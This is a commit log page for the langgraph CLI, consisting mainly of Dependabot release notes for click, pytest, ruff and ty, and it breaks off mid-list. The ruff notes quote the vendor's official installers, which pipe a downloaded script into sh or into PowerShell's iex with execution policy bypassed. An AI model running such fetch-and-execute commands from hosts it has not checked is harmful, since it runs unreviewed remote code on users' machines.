John Kennedy
48ecb3bc81
fix(cli): address Git dependency review feedback
2026-08-11 09:40:13 -07:00
John Kennedy and open-swe[bot] <open-swe@users.noreply.github.com>
b51ef57707
fix: validate nested Git dependency credentials
...
Co-authored-by: open-swe[bot] <open-swe@users.noreply.github.com >
2026-08-05 22:36:53 +00:00
John Kennedy and open-swe[bot] <open-swe@users.noreply.github.com>
de9b5216c8
fix: reject credential-bearing Git dependencies
...
Co-authored-by: open-swe[bot] <open-swe@users.noreply.github.com >
2026-08-05 22:15:35 +00:00
Josh Rogers and GitHub
55ec2f2193
chore(cli): allow langgraph-api versions up to 1.0.0 ( #8319 )
...
<!-- Replace everything above this line with a 1-2 sentence description
of your change. Keep the "Fixes #xx" keyword and update the issue
number. -->
Bumps the langgraph-api upper bound in the cli to `1.0.0` and releases
langgraph-cli version 0.4.31.
2026-07-10 16:53:17 -06:00
be999ad38a
chore(deps): bump the minor-and-patch group in /libs/cli with 5 updates ( #8251 )
...
Bumps the minor-and-patch group in /libs/cli with 5 updates:
| Package | From | To |
| --- | --- | --- |
| [click](https://github.com/pallets/click ) | `8.4.1` | `8.4.2` |
| [pytest](https://github.com/pytest-dev/pytest ) | `9.0.3` | `9.1.1` |
| [ruff](https://github.com/astral-sh/ruff ) | `0.15.15` | `0.15.20` |
| [ty](https://github.com/astral-sh/ty ) | `0.0.43` | `0.0.55` |
| [hatch](https://github.com/pypa/hatch ) | `1.16.5` | `1.17.0` |
Updates `click` from 8.4.1 to 8.4.2
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/pallets/click/releases ">click's
releases</a>.</em></p>
<blockquote>
<h2>8.4.2</h2>
<p>This is the Click 8.4.1 fix release, which fixes bugs but does not
otherwise change behavior and should not result in breaking changes
compared to the latest feature release.</p>
<p>PyPI: <a
href="https://pypi.org/project/click/8.4.2/ ">https://pypi.org/project/click/8.4.2/ </a>
Changes: <a
href="https://click.palletsprojects.com/page/changes/#version-8-4-2 ">https://click.palletsprojects.com/page/changes/#version-8-4-2 </a>
Milestone: <a
href="https://github.com/pallets/click/milestone/34 ">https://github.com/pallets/click/milestone/34 </a></p>
<ul>
<li>Fix Fish shell completion broken in <code>8.4.0</code> by <a
href="https://redirect.github.com/pallets/click/issues/3126 ">#3126</a>.
Newlines and
tabs in option help text are now escaped, keeping the original
completion
format while still supporting multi-line help. <a
href="https://redirect.github.com/pallets/click/issues/3502 ">#3502</a>
<a
href="https://redirect.github.com/pallets/click/issues/3043 ">#3043</a>
<a
href="https://redirect.github.com/pallets/click/issues/3504 ">#3504</a>
<a
href="https://redirect.github.com/pallets/click/issues/3508 ">#3508</a></li>
<li>Deprecated commands and options with empty or missing help text no
longer
render a stray leading space before the <code>(DEPRECATED)</code> label.
<a
href="https://redirect.github.com/pallets/click/issues/3509 ">#3509</a></li>
<li>A {class}<code>Group</code> with
<code>invoke_without_command=True</code> marks its subcommand as
optional in the usage help, showing <code>[COMMAND]</code> instead of
<code>COMMAND</code>.
<a
href="https://redirect.github.com/pallets/click/issues/3059 ">#3059</a>
<a
href="https://redirect.github.com/pallets/click/issues/3507 ">#3507</a></li>
<li><code>echo_via_pager</code> flushes after each write, so passing a
generator streams
output to the pager incrementally instead of staying hidden until the
pipe
buffer fills. <a
href="https://redirect.github.com/pallets/click/issues/3242 ">#3242</a>
<a
href="https://redirect.github.com/pallets/click/issues/2542 ">#2542</a>
<a
href="https://redirect.github.com/pallets/click/issues/3534 ">#3534</a></li>
<li><code>echo_via_pager</code> and <code>get_pager_file</code> no
longer close a borrowed stdout
stream when no external pager runs, completing the partial
<code>I/O operation on closed file</code> fix from <a
href="https://redirect.github.com/pallets/click/issues/3482 ">#3482</a>.
<a
href="https://redirect.github.com/pallets/click/issues/3449 ">#3449</a>
<a
href="https://redirect.github.com/pallets/click/issues/3533 ">#3533</a></li>
<li>Fix CLI usage symopsis for optional arguments producing double
square brackets
<code>[[a|b|c]]...</code> whose type already brackets their metavar. <a
href="https://redirect.github.com/pallets/click/issues/3578 ">#3578</a></li>
<li>{func}<code>version_option</code> resolves a
<code>package_name</code> that does not match an
installed distribution as an import (top-level module) name via
{func}<code>importlib.metadata.packages_distributions</code>. Packages
whose
top-level module name differs from their distribution name
(<code>PIL</code> vs
<code>Pillow</code>, <code>jwt</code> vs <code>PyJWT</code>) no longer
raise <code>RuntimeError</code> out of the
box. <a
href="https://redirect.github.com/pallets/click/issues/2331 ">#2331</a>
<a
href="https://redirect.github.com/pallets/click/issues/1884 ">#1884</a>
<a
href="https://redirect.github.com/pallets/click/issues/3125 ">#3125</a>
<a
href="https://redirect.github.com/pallets/click/issues/3582 ">#3582</a></li>
</ul>
</blockquote>
</details>
<details>
<summary>Changelog</summary>
<p><em>Sourced from <a
href="https://github.com/pallets/click/blob/main/CHANGES.md ">click's
changelog</a>.</em></p>
<blockquote>
<h2>Version 8.4.2</h2>
<p>Released 2026-06-24</p>
<ul>
<li>Fix Fish shell completion broken in <code>8.4.0</code> by
{pr}<code>3126</code>. Newlines and
tabs in option help text are now escaped, keeping the original
completion
format while still supporting multi-line help. {issue}<code>3502</code>
{issue}<code>3043</code> {pr}<code>3504</code>
{pr}<code>3508</code></li>
<li>Deprecated commands and options with empty or missing help text no
longer
render a stray leading space before the <code>(DEPRECATED)</code> label.
{pr}<code>3509</code></li>
<li>A {class}<code>Group</code> with
<code>invoke_without_command=True</code> marks its subcommand as
optional in the usage help, showing <code>[COMMAND]</code> instead of
<code>COMMAND</code>.
{issue}<code>3059</code> {pr}<code>3507</code></li>
<li><code>echo_via_pager</code> flushes after each write, so passing a
generator streams
output to the pager incrementally instead of staying hidden until the
pipe
buffer fills. {issue}<code>3242</code> {issue}<code>2542</code>
{pr}<code>3534</code></li>
<li><code>echo_via_pager</code> and <code>get_pager_file</code> no
longer close a borrowed stdout
stream when no external pager runs, completing the partial
<code>I/O operation on closed file</code> fix from
{pr}<code>3482</code>. {issue}<code>3449</code>
{pr}<code>3533</code></li>
<li>Fix CLI usage symopsis for optional arguments producing double
square brackets
<code>[[a|b|c]]...</code> whose type already brackets their metavar.
{pr}<code>3578</code></li>
<li>{func}<code>version_option</code> resolves a
<code>package_name</code> that does not match an
installed distribution as an import (top-level module) name via
{func}<code>importlib.metadata.packages_distributions</code>. Packages
whose
top-level module name differs from their distribution name
(<code>PIL</code> vs
<code>Pillow</code>, <code>jwt</code> vs <code>PyJWT</code>) no longer
raise <code>RuntimeError</code> out of the
box. {issue}<code>2331</code> {issue}<code>1884</code>
{issue}<code>3125</code> {pr}<code>3582</code></li>
</ul>
</blockquote>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="https://github.com/pallets/click/commit/b2e30a175449cfda909ee4fbf4a29a6a071cad53 "><code>b2e30a1</code></a>
Release version 8.4.2</li>
<li><a
href="https://github.com/pallets/click/commit/7a16b20e8a8a9bb57c7b4f6f15f60f6597478a49 "><code>7a16b20</code></a>
Fix <code>package_name</code> resolution when module differs from
distribution name (<a
href="https://redirect.github.com/pallets/click/issues/3582 ">#3582</a>)</li>
<li><a
href="https://github.com/pallets/click/commit/bec59289d8cf9b9b4010642b2fee483e5f8eeefc "><code>bec5928</code></a>
Fix <code>package_name</code> resolution when top-level module differs
from distribution...</li>
<li><a
href="https://github.com/pallets/click/commit/916883afad450c0c9bbc4212817900949131adbd "><code>916883a</code></a>
Fix tests to not rely on <code>-Wdefault</code> option (<a
href="https://redirect.github.com/pallets/click/issues/3591 ">#3591</a>)</li>
<li><a
href="https://github.com/pallets/click/commit/09195f6a92972c4e1bbb5493686456e6ba624520 "><code>09195f6</code></a>
Fix double-bracketing of choices in synopsis (<a
href="https://redirect.github.com/pallets/click/issues/3578 ">#3578</a>)</li>
<li><a
href="https://github.com/pallets/click/commit/1557e265222c431b1e4d6c4dd6754006ed10dc02 "><code>1557e26</code></a>
Check for warning exception with idiomatic context manager</li>
<li><a
href="https://github.com/pallets/click/commit/d9ff13369ac78d9acff693faa79f26badd566ab3 "><code>d9ff133</code></a>
Static typing improvements in <code>click.shell_completion</code> (<a
href="https://redirect.github.com/pallets/click/issues/3460 ">#3460</a>)</li>
<li><a
href="https://github.com/pallets/click/commit/762c97eef7c1b3779678992f26a553a2a8c80793 "><code>762c97e</code></a>
Fix double-bracketing of choices in synopsis</li>
<li><a
href="https://github.com/pallets/click/commit/8929d392781c8113bc569f388c15c47b94f86581 "><code>8929d39</code></a>
Convert changes to markdown. (<a
href="https://redirect.github.com/pallets/click/issues/3559 ">#3559</a>)</li>
<li><a
href="https://github.com/pallets/click/commit/237be507dbe3e653f6b41b3ea53266805534e8cd "><code>237be50</code></a>
Move changes headings down a level.</li>
<li>Additional commits viewable in <a
href="https://github.com/pallets/click/compare/8.4.1...8.4.2 ">compare
view</a></li>
</ul>
</details>
<br />
Updates `pytest` from 9.0.3 to 9.1.1
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/pytest-dev/pytest/releases ">pytest's
releases</a>.</em></p>
<blockquote>
<h2>9.1.1</h2>
<h1>pytest 9.1.1 (2026-06-19)</h1>
<h2>Bug fixes</h2>
<ul>
<li><a
href="https://redirect.github.com/pytest-dev/pytest/issues/14220 ">#14220</a>:
Fixed a logic bug in <code>pytest.RaisesGroup</code> which would might
cause it to display incorrect "It matches <!-- raw HTML omitted
-->FooError()<!-- raw HTML omitted --> which was paired with <!-- raw
HTML omitted -->BarError<!-- raw HTML omitted -->" messages.</li>
<li><a
href="https://redirect.github.com/pytest-dev/pytest/issues/14591 ">#14591</a>:
Fixed a regression in pytest 9.1.0 which caused overriding a
parametrized fixture with an indirect <!-- raw HTML omitted --><a
href="https://github.com/pytest "><code>@pytest</code></a>.mark.parametrize<!--
raw HTML omitted --> to fail with "duplicate parametrization of
'<fixture name>'".</li>
<li><a
href="https://redirect.github.com/pytest-dev/pytest/issues/14606 ">#14606</a>:
Fixed <code>list-item</code> typing errors from mypy in
<code>@pytest.mark.parametrize <pytest.mark.parametrize
ref></code> <code>argvalues</code> parameter.</li>
<li><a
href="https://redirect.github.com/pytest-dev/pytest/issues/14608 ">#14608</a>:
Fixed a regression in pytest 9.1.0 where <code>conftest.py</code> files
located in <code><invocation dir>/test*</code> were no longer
loaded as initial conftests when invoked without arguments.
This could cause certain hooks (like <code>pytest_addoption</code>) in
these files to not fire.</li>
</ul>
<h2>9.1.0</h2>
<h1>pytest 9.1.0 (2026-06-13)</h1>
<h2>Removals and backward incompatible breaking changes</h2>
<ul>
<li>
<p><a
href="https://redirect.github.com/pytest-dev/pytest/issues/14533 ">#14533</a>:
When using <code>--doctest-modules</code>, autouse fixtures with
<code>module</code>, <code>package</code> or <code>session</code> scope
that are defined inline in Python test modules (not plugins or
conftests) will now possibly execute twice.</p>
<p>If this is undesirable, move the fixture definition to a
<code>conftest.py</code> file if possible.</p>
<p>Technical explanation for those interested:
When using <!-- raw HTML omitted -->--doctest-modules<!-- raw HTML
omitted -->, pytest possibly collects Python modules twice, once as
<code>pytest.Module</code> and once as a <code>DoctestModule</code>
(depending on the configuration).
Due to improvements in pytest's fixture implementation, if e.g. the
<code>DoctestModule</code> collects a fixture, it is now visible to it
only, and not to the <code>Module</code>.
This means that both need to register the fixtures independently.</p>
</li>
</ul>
<h2>Deprecations (removal in next major release)</h2>
<ul>
<li>
<p><a
href="https://redirect.github.com/pytest-dev/pytest/issues/10819 ">#10819</a>:
Added a deprecation warning for class-scoped fixtures defined as
instance methods (without <code>@classmethod</code>). Such fixtures set
attributes on a different instance than the test methods use, leading to
unexpected behavior. Use <code>@classmethod</code> decorator instead --
by <code>yastcher</code>.</p>
<p>See <code>10819</code> and <code>14011</code>.</p>
</li>
<li>
<p><a
href="https://redirect.github.com/pytest-dev/pytest/issues/12882 ">#12882</a>:
Calling <code>request.getfixturevalue()
<pytest.FixtureRequest.getfixturevalue></code> during teardown to
request a fixture that was not already requested is now deprecated and
will become an error in pytest 10.</p>
<p>See <code>dynamic-fixture-request-during-teardown</code> for
details.</p>
</li>
<li>
<p><a
href="https://redirect.github.com/pytest-dev/pytest/issues/13409 ">#13409</a>:
Using non-<code>~collections.abc.Collection</code> iterables (such as
generators, iterators, or custom iterable objects) for the
<code>argvalues</code> parameter in <code>@pytest.mark.parametrize
<pytest.mark.parametrize ref></code> and
<code>metafunc.parametrize <pytest.Metafunc.parametrize></code> is
now deprecated.</p>
<p>These iterables get exhausted after the first iteration,
leading to tests getting unexpectedly skipped in cases such as running
<code>pytest.main()</code> multiple times,
using class-level parametrize decorators,
or collecting tests multiple times.</p>
<p>See <code>parametrize-iterators</code> for details and
suggestions.</p>
</li>
<li>
<p><a
href="https://redirect.github.com/pytest-dev/pytest/issues/13946 ">#13946</a>:
The private <code>config.inicfg</code> attribute is now deprecated.
Use <code>config.getini() <pytest.Config.getini></code> to access
configuration values instead.</p>
<p>See <code>config-inicfg</code> for more details.</p>
</li>
<li>
<p><a
href="https://redirect.github.com/pytest-dev/pytest/issues/14004 ">#14004</a>:
Passing <code>baseid</code> to <code>~pytest.FixtureDef</code> or
<code>nodeid</code> strings to fixture registration APIs is now
deprecated. These are internal pytest APIs that are used by some
plugins.</p>
</li>
</ul>
<!-- raw HTML omitted -->
</blockquote>
<p>... (truncated)</p>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="https://github.com/pytest-dev/pytest/commit/cf470ec0bf7eb89cd97dd56df4859eae5db46447 "><code>cf470ec</code></a>
Prepare release version 9.1.1</li>
<li><a
href="https://github.com/pytest-dev/pytest/commit/e0c8ce6cc5db1f08363be6f152c32e6838df2690 "><code>e0c8ce6</code></a>
Merge pull request <a
href="https://redirect.github.com/pytest-dev/pytest/issues/14625 ">#14625</a>
from pytest-dev/patchback/backports/9.1.x/a07c31a97...</li>
<li><a
href="https://github.com/pytest-dev/pytest/commit/1b82d1694fce22385ee7a4287917fbafbaf2e757 "><code>1b82d16</code></a>
Merge pull request <a
href="https://redirect.github.com/pytest-dev/pytest/issues/14624 ">#14624</a>
from pytest-dev/patchback/backports/9.1.x/b375b79ec...</li>
<li><a
href="https://github.com/pytest-dev/pytest/commit/501c4bc784da3b08bfcaa64858eba5d15dc59e53 "><code>501c4bc</code></a>
Merge pull request <a
href="https://redirect.github.com/pytest-dev/pytest/issues/14596 ">#14596</a>
from bluetech/doc-classmethod</li>
<li><a
href="https://github.com/pytest-dev/pytest/commit/b61f588e36e9377c3d1d3f06bece1da0fc31d9ca "><code>b61f588</code></a>
Merge pull request <a
href="https://redirect.github.com/pytest-dev/pytest/issues/14622 ">#14622</a>
from chrisburr/fix-14608-initial-conftest-test-subdir</li>
<li><a
href="https://github.com/pytest-dev/pytest/commit/9a567e009f4d2da3ce1721c6db3109cb5744d40a "><code>9a567e0</code></a>
[automated] Update plugin list (<a
href="https://redirect.github.com/pytest-dev/pytest/issues/14617 ">#14617</a>)
(<a
href="https://redirect.github.com/pytest-dev/pytest/issues/14618 ">#14618</a>)</li>
<li><a
href="https://github.com/pytest-dev/pytest/commit/ef8b2993e5b48639e4a3d97d0525df9760781384 "><code>ef8b299</code></a>
Merge pull request <a
href="https://redirect.github.com/pytest-dev/pytest/issues/14620 ">#14620</a>
from pytest-dev/patchback/backports/9.1.x/680f9f3ed...</li>
<li><a
href="https://github.com/pytest-dev/pytest/commit/66abd0784d4cb7c1ba44ab9a8896506cd4985acc "><code>66abd07</code></a>
Merge pull request <a
href="https://redirect.github.com/pytest-dev/pytest/issues/14220 ">#14220</a>
from bysiber/fix-stale-iexp-raisesgroup</li>
<li><a
href="https://github.com/pytest-dev/pytest/commit/79fbf93b666cac5f27c9dad047943d47b766c8d5 "><code>79fbf93</code></a>
Merge pull request <a
href="https://redirect.github.com/pytest-dev/pytest/issues/14612 ">#14612</a>
from pytest-dev/patchback/backports/9.1.x/974ed48b6...</li>
<li><a
href="https://github.com/pytest-dev/pytest/commit/0d312eb876177e9f1c04262b54060a41034ebf5c "><code>0d312eb</code></a>
Merge pull request <a
href="https://redirect.github.com/pytest-dev/pytest/issues/14611 ">#14611</a>
from bluetech/parametrize-argvalues-typing</li>
<li>Additional commits viewable in <a
href="https://github.com/pytest-dev/pytest/compare/9.0.3...9.1.1 ">compare
view</a></li>
</ul>
</details>
<br />
Updates `ruff` from 0.15.15 to 0.15.20
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/astral-sh/ruff/releases ">ruff's
releases</a>.</em></p>
<blockquote>
<h2>0.15.20</h2>
<h2>Release Notes</h2>
<p>Released on 2026-06-25.</p>
<h3>Preview features</h3>
<ul>
<li>Allow human-readable names in rule selectors (<a
href="https://redirect.github.com/astral-sh/ruff/pull/25887 ">#25887</a>)</li>
<li>Emit a warning instead of an error for unknown rule selectors (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26113 ">#26113</a>)</li>
<li>Match <code>noqa</code> shebang handling in <code>ruff:ignore</code>
comments (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26286 ">#26286</a>)</li>
<li>[<code>ruff</code>] Remove <code>pytest-fixture-autouse</code>
(<code>RUF076</code>) (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26240 ">#26240</a>,
<a
href="https://redirect.github.com/astral-sh/ruff/pull/26371 ">#26371</a>)</li>
</ul>
<h3>Documentation</h3>
<ul>
<li>Add versioning sections to custom crate READMEs (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26317 ">#26317</a>)</li>
<li>Update <code>ruff_python_parser</code> README for crates.io (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26315 ">#26315</a>)</li>
<li>[<code>perflint</code>] Clarify that <code>PERF402</code> applies to
any iterable (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26242 ">#26242</a>)</li>
</ul>
<h3>Contributors</h3>
<ul>
<li><a
href="https://github.com/dhruvmanila "><code>@dhruvmanila</code></a></li>
<li><a
href="https://github.com/MichaReiser "><code>@MichaReiser</code></a></li>
<li><a href="https://github.com/ntBre "><code>@ntBre</code></a></li>
<li><a
href="https://github.com/trilamsr "><code>@trilamsr</code></a></li>
</ul>
<h2>Install ruff 0.15.20</h2>
<h3>Install prebuilt binaries via shell script</h3>
<pre lang="sh"><code>curl --proto '=https' --tlsv1.2 -LsSf
https://releases.astral.sh/github/ruff/releases/download/0.15.20/ruff-installer.sh
| sh
</code></pre>
<h3>Install prebuilt binaries via powershell script</h3>
<pre lang="sh"><code>powershell -ExecutionPolicy Bypass -c "irm
https://releases.astral.sh/github/ruff/releases/download/0.15.20/ruff-installer.ps1
| iex"
</code></pre>
<h2>Download ruff 0.15.20</h2>
<table>
<thead>
<tr>
<th>File</th>
<th>Platform</th>
<th>Checksum</th>
</tr>
</thead>
<tbody>
<tr>
<td><a
href="https://releases.astral.sh/github/ruff/releases/download/0.15.20/ruff-aarch64-apple-darwin.tar.gz ">ruff-aarch64-apple-darwin.tar.gz</a></td>
<td>Apple Silicon macOS</td>
<td><a
href="https://releases.astral.sh/github/ruff/releases/download/0.15.20/ruff-aarch64-apple-darwin.tar.gz.sha256 ">checksum</a></td>
</tr>
<tr>
<td><a
href="https://releases.astral.sh/github/ruff/releases/download/0.15.20/ruff-x86_64-apple-darwin.tar.gz ">ruff-x86_64-apple-darwin.tar.gz</a></td>
<td>Intel macOS</td>
<td><a
href="https://releases.astral.sh/github/ruff/releases/download/0.15.20/ruff-x86_64-apple-darwin.tar.gz.sha256 ">checksum</a></td>
</tr>
<tr>
<td><a
href="https://releases.astral.sh/github/ruff/releases/download/0.15.20/ruff-aarch64-pc-windows-msvc.zip ">ruff-aarch64-pc-windows-msvc.zip</a></td>
<td>ARM64 Windows</td>
<td><a
href="https://releases.astral.sh/github/ruff/releases/download/0.15.20/ruff-aarch64-pc-windows-msvc.zip.sha256 ">checksum</a></td>
</tr>
<tr>
<td><a
href="https://releases.astral.sh/github/ruff/releases/download/0.15.20/ruff-i686-pc-windows-msvc.zip ">ruff-i686-pc-windows-msvc.zip</a></td>
<td>x86 Windows</td>
<td><a
href="https://releases.astral.sh/github/ruff/releases/download/0.15.20/ruff-i686-pc-windows-msvc.zip.sha256 ">checksum</a></td>
</tr>
<tr>
<td><a
href="https://releases.astral.sh/github/ruff/releases/download/0.15.20/ruff-x86_64-pc-windows-msvc.zip ">ruff-x86_64-pc-windows-msvc.zip</a></td>
<td>x64 Windows</td>
<td><a
href="https://releases.astral.sh/github/ruff/releases/download/0.15.20/ruff-x86_64-pc-windows-msvc.zip.sha256 ">checksum</a></td>
</tr>
<tr>
<td><a
href="https://releases.astral.sh/github/ruff/releases/download/0.15.20/ruff-aarch64-unknown-linux-gnu.tar.gz ">ruff-aarch64-unknown-linux-gnu.tar.gz</a></td>
<td>ARM64 Linux</td>
<td><a
href="https://releases.astral.sh/github/ruff/releases/download/0.15.20/ruff-aarch64-unknown-linux-gnu.tar.gz.sha256 ">checksum</a></td>
</tr>
<tr>
<td><a
href="https://releases.astral.sh/github/ruff/releases/download/0.15.20/ruff-i686-unknown-linux-gnu.tar.gz ">ruff-i686-unknown-linux-gnu.tar.gz</a></td>
<td>x86 Linux</td>
<td><a
href="https://releases.astral.sh/github/ruff/releases/download/0.15.20/ruff-i686-unknown-linux-gnu.tar.gz.sha256 ">checksum</a></td>
</tr>
</tbody>
</table>
<!-- raw HTML omitted -->
</blockquote>
<p>... (truncated)</p>
</details>
<details>
<summary>Changelog</summary>
<p><em>Sourced from <a
href="https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md ">ruff's
changelog</a>.</em></p>
<blockquote>
<h2>0.15.20</h2>
<p>Released on 2026-06-25.</p>
<h3>Preview features</h3>
<ul>
<li>Allow human-readable names in rule selectors (<a
href="https://redirect.github.com/astral-sh/ruff/pull/25887 ">#25887</a>)</li>
<li>Emit a warning instead of an error for unknown rule selectors (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26113 ">#26113</a>)</li>
<li>Match <code>noqa</code> shebang handling in <code>ruff:ignore</code>
comments (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26286 ">#26286</a>)</li>
<li>[<code>ruff</code>] Remove <code>pytest-fixture-autouse</code>
(<code>RUF076</code>) (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26240 ">#26240</a>,
<a
href="https://redirect.github.com/astral-sh/ruff/pull/26371 ">#26371</a>)</li>
</ul>
<h3>Documentation</h3>
<ul>
<li>Add versioning sections to custom crate READMEs (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26317 ">#26317</a>)</li>
<li>Update <code>ruff_python_parser</code> README for crates.io (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26315 ">#26315</a>)</li>
<li>[<code>perflint</code>] Clarify that <code>PERF402</code> applies to
any iterable (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26242 ">#26242</a>)</li>
</ul>
<h3>Contributors</h3>
<ul>
<li><a
href="https://github.com/dhruvmanila "><code>@dhruvmanila</code></a></li>
<li><a
href="https://github.com/MichaReiser "><code>@MichaReiser</code></a></li>
<li><a href="https://github.com/ntBre "><code>@ntBre</code></a></li>
<li><a
href="https://github.com/trilamsr "><code>@trilamsr</code></a></li>
</ul>
<h2>0.15.19</h2>
<p>Released on 2026-06-23.</p>
<h3>Preview features</h3>
<ul>
<li>Support human-readable names when hovering suppression comments and
in code actions (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26114 ">#26114</a>)</li>
</ul>
<h3>Bug fixes</h3>
<ul>
<li>Fall back to default settings when editor-only settings are invalid
(<a
href="https://redirect.github.com/astral-sh/ruff/pull/26244 ">#26244</a>)</li>
<li>Fix panic when inserting text at a notebook cell boundary (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26111 ">#26111</a>)</li>
</ul>
<h3>Rule changes</h3>
<ul>
<li>[<code>pylint</code>] Update fix suggestions for
<code>__floor__</code>, <code>__trunc__</code>,
<code>__length_hint__</code>, and <code>__matmul__</code> variants
(<code>PLC2801</code>) (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26239 ">#26239</a>)</li>
</ul>
<h3>Performance</h3>
<ul>
<li>Avoid allocating when parsing single string literals (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26200 ">#26200</a>)</li>
<li>Avoid reallocating singleton call arguments (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26223 ">#26223</a>)</li>
<li>Lazily create source files for lint diagnostics (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26226 ">#26226</a>)</li>
<li>Optimize formatter text width and indentation (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26236 ">#26236</a>)</li>
<li>Reserve capacity for builtin bindings (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26229 ">#26229</a>)</li>
<li>Skip repeated-key checks for singleton dictionaries (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26228 ">#26228</a>)</li>
<li>Use ArrayVec for qualified name segments (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26224 ">#26224</a>)</li>
</ul>
<!-- raw HTML omitted -->
</blockquote>
<p>... (truncated)</p>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="https://github.com/astral-sh/ruff/commit/f82a36b6baf8c0547a17bbde6c0d927ccd45d938 "><code>f82a36b</code></a>
Bump 0.15.20 (<a
href="https://redirect.github.com/astral-sh/ruff/issues/26376 ">#26376</a>)</li>
<li><a
href="https://github.com/astral-sh/ruff/commit/af329438b55d5aa8ca28725f17abbae63b5c815d "><code>af32943</code></a>
Improve the summarise-ecosystem-results skill (<a
href="https://redirect.github.com/astral-sh/ruff/issues/26378 ">#26378</a>)</li>
<li><a
href="https://github.com/astral-sh/ruff/commit/485ebab5de692aad34720898cd80245b6092ba86 "><code>485ebab</code></a>
Remove <code>RUF076</code> name from schema (<a
href="https://redirect.github.com/astral-sh/ruff/issues/26371 ">#26371</a>)</li>
<li><a
href="https://github.com/astral-sh/ruff/commit/ef81835ce3da615346584dc446de0fe26bfc154b "><code>ef81835</code></a>
[ty] Implement rust-analyzer's "Click for full compiler
diagnostic" feature (...</li>
<li><a
href="https://github.com/astral-sh/ruff/commit/572b31e2377a701a7365f069f6ef87002962cb2b "><code>572b31e</code></a>
[<code>ruff</code>] Remove <code>pytest-fixture-autouse</code>
(<code>RUF076</code>) (<a
href="https://redirect.github.com/astral-sh/ruff/issues/26240 ">#26240</a>)</li>
<li><a
href="https://github.com/astral-sh/ruff/commit/f703f219d7fddd1a4abba9fa81e34773c185a4b9 "><code>f703f21</code></a>
Allow human-readable names in rule selectors (<a
href="https://redirect.github.com/astral-sh/ruff/issues/25887 ">#25887</a>)</li>
<li><a
href="https://github.com/astral-sh/ruff/commit/0d726b28ee35413926145ffef4ac1143cae9ea1e "><code>0d726b2</code></a>
[ty] Reuse equality semantics for membership compatibility (<a
href="https://redirect.github.com/astral-sh/ruff/issues/25955 ">#25955</a>)</li>
<li><a
href="https://github.com/astral-sh/ruff/commit/dbe6e9848c3f78fdaf543cfc000939ebc73b5f00 "><code>dbe6e98</code></a>
[ty] Infer definite equality comparison results (<a
href="https://redirect.github.com/astral-sh/ruff/issues/26337 ">#26337</a>)</li>
<li><a
href="https://github.com/astral-sh/ruff/commit/e700ea357a2196d76b58eb89b2031ddb5ca896e0 "><code>e700ea3</code></a>
[ty] Prove TypedDict structural patterns exhaustive (<a
href="https://redirect.github.com/astral-sh/ruff/issues/26285 ">#26285</a>)</li>
<li><a
href="https://github.com/astral-sh/ruff/commit/6a0d2ec93959d966430b8c39d4de5c3e8a88e911 "><code>6a0d2ec</code></a>
[ty] Widen inferred class-valued instance attributes (<a
href="https://redirect.github.com/astral-sh/ruff/issues/26338 ">#26338</a>)</li>
<li>Additional commits viewable in <a
href="https://github.com/astral-sh/ruff/compare/0.15.15...0.15.20 ">compare
view</a></li>
</ul>
</details>
<br />
Updates `ty` from 0.0.43 to 0.0.55
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/astral-sh/ty/releases ">ty's
releases</a>.</em></p>
<blockquote>
<h2>0.0.55</h2>
<h2>Release Notes</h2>
<p>Released on 2026-06-26.</p>
<h3>LSP server</h3>
<ul>
<li>Render full diagnostics in color (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26384 ">#26384</a>)</li>
</ul>
<h3>Documentation</h3>
<ul>
<li>Document colored diagnostic output (<a
href="https://redirect.github.com/astral-sh/ty/pull/3858 ">#3858</a>)</li>
</ul>
<h3>Performance</h3>
<ul>
<li>Improve vendored filesystem concurrency (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26408 ">#26408</a>)</li>
<li>Optimize enum comparisons in equality evaluation (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26340 ">#26340</a>)</li>
<li>Remove redundant semantic index shrinks (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26392 ">#26392</a>)</li>
<li>Use never-change durability for one-shot checks (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26359 ">#26359</a>)</li>
</ul>
<h3>Core type checking</h3>
<ul>
<li>Correct enum alias detection and scalar constructors (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26345 ">#26345</a>)</li>
<li>Fix structural pattern binding inference (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26411 ">#26411</a>)</li>
<li>Improve variable-length tuple slicing (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26151 ">#26151</a>)</li>
<li>Infer class and mapping pattern bindings (<a
href="https://redirect.github.com/astral-sh/ruff/pull/25941 ">#25941</a>)</li>
<li>Infer empty collection constructors from later uses (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26389 ">#26389</a>)</li>
<li>Skip shadowed submodule bindings during import analysis (<a
href="https://redirect.github.com/astral-sh/ruff/pull/26385 ">#26385</a>)</li>
<li>Sync vendored typeshed stubs (<a
